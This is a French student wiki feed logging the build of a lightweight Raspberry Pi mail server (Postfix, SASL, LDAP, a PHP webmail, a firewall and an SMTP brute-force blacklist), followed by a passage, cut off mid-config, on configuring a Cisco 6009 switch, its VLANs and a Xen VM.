Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [http:// Soon™]&lt;br /&gt;
Rapport de Mi-Projet : [http:// Soon™]&lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA2015_-_Configuration_des_commutateurs&amp;diff=24288</id>
		<title>PRA2015 - Configuration des commutateurs</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA2015_-_Configuration_des_commutateurs&amp;diff=24288"/>
				<updated>2015-12-10T11:05:53Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Configuration d'un PCBX */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
Le but de la tâche est de configurer le commutateur Cisco 6009 de la salle E306. Le binôme n°4 s'occupe du commutateur de même modèle situé en salle E304.&lt;br /&gt;
&lt;br /&gt;
A l'origine, le matériel sur lequel nous travaillons nous est mis à disposition dans une configuration un peu particulière. En effet la carte superviseur (carte mère) du routeur est livrée avec un système d'exploitation CatOS, tandis que la carte routage (carte fille) fonctionne sous IOS. Dans un premier temps la tâche consistera donc de migrer complètement le routeur vers un système IOS. On pourra par la suite configurer les différents VLANs et la connexion redondante sur les routeurs (groupes 1 &amp;amp; 2). Pour plus de clarté sur l'architecture du réseau, je vous invite à consulter le schéma mis en place par nos collègues du groupe 1.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Network architecture.PNG |thumb|center| 500px|&amp;lt;center&amp;gt;Architecture du réseau mis en place&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matériel utilisé ===&lt;br /&gt;
* Commutateur Cisco 6009&lt;br /&gt;
* Un ordinateur muni d'un port série pour la configuration&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Progression ==&lt;br /&gt;
=== Semaine 1 - Prise en main ===&lt;br /&gt;
Dans un premier temps, nous découvrons le matériel à notre disposition et essayons de comprendre comment il fonctionne. Le commutateur Cisco 6009 est constitué d'un rack de 5 baies. Deux d'entre elles contiennent un module permettant le routage sur les modules de ports RJ45.&lt;br /&gt;
Intéressons nous maintenant à ces deux modules en particulier. Ceux-ci sont constituées d'une carte mère appelée carte superviseur et une carte fille qui est la carte routeur. Chacune des deux cartes contiennent leur propre mémoire flash appelée bootflash. Une carte flash de 20 Mo peut aussi être insérée dans le module. La configuration originelle de ces modules est un peut particulière :&lt;br /&gt;
* Module 1 : Un CatOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur&lt;br /&gt;
* Module 2 : Un IOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur&lt;br /&gt;
&lt;br /&gt;
L'idée est de migrer tout les modules vers des systèmes d'exploitation de type IOS (le seul système utilisé aujourd'hui par Cisco).&lt;br /&gt;
&lt;br /&gt;
=== Semaine 2 - Installation et configuration des OS ===&lt;br /&gt;
&lt;br /&gt;
==== Installation des OS ====&lt;br /&gt;
&lt;br /&gt;
On démarre le commutateur avec un seul module superviseur branché. On en configurera un seul à la fois. Nous avons décidé de configurer le module avec CatOS en premier.&lt;br /&gt;
&lt;br /&gt;
Nous passons en mode enable avec la commande du même nom, pour ensuite associer une IP à l'interface sc0. Avec celle ci nous pourrons transférer les fichiers avec un ordinateur (tutur06) via TFTP.&lt;br /&gt;
&lt;br /&gt;
 console&amp;gt; enable&lt;br /&gt;
 console (enable)&amp;gt; set interface sc0 192.168.0.1 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
A cause d'une erreur (bad device info block), nous avons du formater la flash pour pouvoir la lire et écrire dessus. En effet chaque OS a son propre système de fichier.&lt;br /&gt;
&lt;br /&gt;
 console (enable)&amp;gt; format slot0:&lt;br /&gt;
&lt;br /&gt;
On peut maintenant copier le binaire contenant l'OS à installer. Pour cela on configure une IP dans le même réseau que l'interface sc0 sur tutur06. L'ordinateur est déjà configuré pour transférer des fichiers par TFTP. Ici nous avons configuré l'IP 192.168.0.2/24.&lt;br /&gt;
&lt;br /&gt;
 console (enable)&amp;gt; copy tftp slot0:&lt;br /&gt;
 console (enable)&amp;gt; 192.168.0.2&lt;br /&gt;
 console (enable)&amp;gt; &amp;quot;emplacement du fichier&amp;quot;&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut donc booter directement sur la carte sous IOS. Pour cela il faut interrompre le boot automatique sur CatOS pour indiquer au système de boot sur la carte IOS.&lt;br /&gt;
&lt;br /&gt;
Comme il y a eu un problème de carte avec le deuxième binôme, nous avons du re-formater leur carte au format CatOS, pour cela il a fallu booter en CatOS, la formater sous CatOS et leur remettre les bons fichiers sur la carte via tftp.&lt;br /&gt;
&lt;br /&gt;
A partir de là nous avons pu, de la même manière que précédemment, formater la deuxième au format IOS puis y mettre les fichiers IOS via tftp. En outre, nous avons indiqué au système de boot sur la carte flash via la directive :&lt;br /&gt;
 BOOT=slot0:&amp;lt;CHEMIN DU FICHIER.bin&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration des OS ====&lt;br /&gt;
&lt;br /&gt;
La configuration réseau du routeur se déroule en 3 étapes.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on configure les liaisons trunk. Il s'agit ici de la liaison qui relie le commutateur au routeur en E306, sur l'interface 4/3, et la liaison cable qui relie le commutateur au routeur en E304 sur l'interface 7/2. On écrit donc pour chaque interface&lt;br /&gt;
 conf t &lt;br /&gt;
 int Gi4/3&lt;br /&gt;
 switchport&lt;br /&gt;
 switchport mode trunk&lt;br /&gt;
 switchport trunk allowed vlan 11-20,110,130&lt;br /&gt;
 no shut&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
 int Gi7/2&lt;br /&gt;
 switchport&lt;br /&gt;
 switchport trunk encapsulation dot1q&lt;br /&gt;
 switchport mode trunk&lt;br /&gt;
 switchport trunk allowed vlan 11-20,110,130&lt;br /&gt;
 no shut&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite créer les VLAN, par exemple :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 vlan 13&lt;br /&gt;
 name vlan13&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
On fait ceci pour les VLAN 11 à 20, puis 110 et 130. Une fois qu'ils sont déclarés, on les attribue à un port physique du commutateur :&lt;br /&gt;
&lt;br /&gt;
 int Gi4/13&lt;br /&gt;
 switchport access vlan 13&lt;br /&gt;
 no shut&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Le schéma physique est le suivant :&lt;br /&gt;
*VLAN11 : Gigabit 4/11&lt;br /&gt;
*VLAN12 : Gigabit 4/12&lt;br /&gt;
*VLAN13 : Gigabit 4/13&lt;br /&gt;
*VLAN14 : Gigabit 4/14&lt;br /&gt;
*VLAN15 : Gigabit 4/15&lt;br /&gt;
*VLAN16 : Gigabit 4/16&lt;br /&gt;
*VLAN17 : Gigabit 4/17&lt;br /&gt;
*VLAN18 : Gigabit 4/18&lt;br /&gt;
*VLAN19 : Gigabit 4/19&lt;br /&gt;
*VLAN20 : Gigabit 4/20&lt;br /&gt;
*VLAN 110 : Gigabit 4/1&lt;br /&gt;
&lt;br /&gt;
=== Semaine 3 ===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par créer une VM Xen sur le serveur Cordouan :&lt;br /&gt;
 xen-create-image --hostname=chimay --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&lt;br /&gt;
*Notre IP : 193.48.57.163&lt;br /&gt;
*Masque : 255.255.255.240&lt;br /&gt;
*Passerelle : 193.48.57.174&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite crée 2 partitions LVM, home et var.&lt;br /&gt;
 lvcreate -L 10G -n /dev/virtual/ima5-chimay-home -v&lt;br /&gt;
 lvcreate -L 10G -n /dev/virtual/ima5-chimay-var -v&lt;br /&gt;
&lt;br /&gt;
Il faut enfin modifier le fichier /etc/xen/chimay.cfg, y rajouter les partitions LVM :&lt;br /&gt;
 disk = [ &lt;br /&gt;
           'phy:/dev/virtual/ima5-chimay-var,xvdb,w'&lt;br /&gt;
